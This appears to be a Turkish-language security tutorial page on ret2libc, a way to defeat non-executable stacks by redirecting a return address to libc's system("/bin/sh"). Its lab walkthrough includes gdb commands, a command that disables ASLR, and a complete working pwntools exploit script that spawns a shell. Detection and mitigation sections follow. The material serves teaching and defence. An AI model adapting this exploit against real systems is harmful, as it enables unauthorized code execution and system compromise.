Skip to content

ret2libc (Return-into-libc)

Non-executable bir stack'i, return address'i var olan bir library fonksiyonunun (örn. system) adresiyle overwrite edip argümanlarını sahteleyerek atlat — enjekte edilmiş shellcode gerekmez.

Mechanism

Neden çalışır

Data Execution Prevention / NX, stack'i non-executable işaretler, böylece klasik "stack'e shellcode enjekte et ve ona atla" başarısız olur. Ama NX, kontrolü zaten executable olan koda yönlendirmeni engellemez — yani her process'te r-x map'lenen libc'ye. Return-address overwrite'ı hâlâ çalışır; sadece onu kendi byte'larına değil bir faydalı fonksiyona nişanlarsın.

Anahtar calling convention'dır. Bir stack overflow kaydedilmiş return address'i ezdikten sonra, kontrol ettiğin stack callee'nin frame'i olur. 32-bit cdecl'de, ret system'e transfer ettiğinde stack tam olarak normal bir call gibi görünür: [ &system ][ fake return addr ][ &"/bin/sh" ], böylece system argümanını beklediği yerden okur. İstismar edilen invariant: control flow artı forge edilmiş bir frame yeterlidir; kodun bizim olması gerekmez. Bu şekilde birkaç library call'ı zincirlemek (her ret bir sonrakine akar) ROP'a genelleşir.

Walkthrough

Yalnızca lab

Sahibi olduğun, bilerek vulnerable bir binary kullan. Adresleri sabit tutmak için ASLR kapalı 32-bit no-PIE örneği; ASLR'ı atlatmak ayrı bir adımdır (info leak).

1. Hedef. Bir stack overflow'u olan, NX açık bir program:

$ checksec --file=./vuln
Arch:     i386-32-little
NX:       NX enabled          <- can't run stack shellcode
PIE:      No PIE               <- libc/binary base predictable
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space   # ASLR off (lab)

2. Yapı taşlarını bulsystem ve bir "/bin/sh" string'i (libc'de bir tane var):

$ gdb -q ./vuln
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable>} 0xf7e10360 <system>
(gdb) find &system, +9999999, "/bin/sh"
0xf7f5a9cb
1 pattern found.

3. Kaydedilmiş return address'e olan overflow offset'ini bul:

(gdb) run $(cyclic 200)
... crash ...
(gdb) print $eip            # = 0x6161616c  -> cyclic_find
offset = 112

4. Payload'u inşa et: padding | &system | fake_ret | &"/bin/sh".

from pwn import *
elf  = ELF("./vuln")
libc = elf.libc                      # resolves the linked libc
system  = libc.symbols["system"]
binsh   = next(libc.search(b"/bin/sh\x00"))

payload  = b"A" * 112                # to saved return address
payload += p32(system)               # ret -> system
payload += p32(0xdeadbeef)           # system's "return address" (unused)
payload += p32(binsh)                # system's arg: char *command
p = process("./vuln"); p.sendline(payload); p.interactive()

Beklenen sonuç:

$ python3 exploit.py
[+] Starting local process './vuln'
[*] Switching to interactive mode
$ id
uid=1000(user) ... 

system("/bin/sh"), libc'nin kendi executable mapping'inden çalışır, dolayısıyla NX önemsizdir.

x86-64 farkı

SysV AMD64 ABI ilk argümanı stack'te değil rdi'de geçirir, dolayısıyla saf bir ret2libc, system'e dönmeden önce &"/bin/sh"'i rdi'ye yüklemek için bir pop rdi ; ret gadget'ına ihtiyaç duyar — yani küçük bir ROP chain'ine dönüşür.

Detection

  • libc içinde normal bir call site olmayan bir return target, bir stack pivot ya da libc string data'sına işaret eden argümanlar, CFI/stack-canary instrumentation'ı ve bazı EDR'ler için imzalardır.

Mitigation

  • Stack canary'ler, lineer overwrite'ı ret'ten önce tespit eder.
  • ASLR/PIE, libc base'ini rastgeleleştirir, dolayısıyla adresler önce leak edilmelidir.
  • CFI / shadow stack'ler (Intel CET): bir shadow stack bozulmuş return address'i yakalar; forward-edge CFI non-entry noktalara yapılan call'ları reddeder.
  • Genel soy, tekil call'lar yetmediğinde tam ROP'a devam eder.

References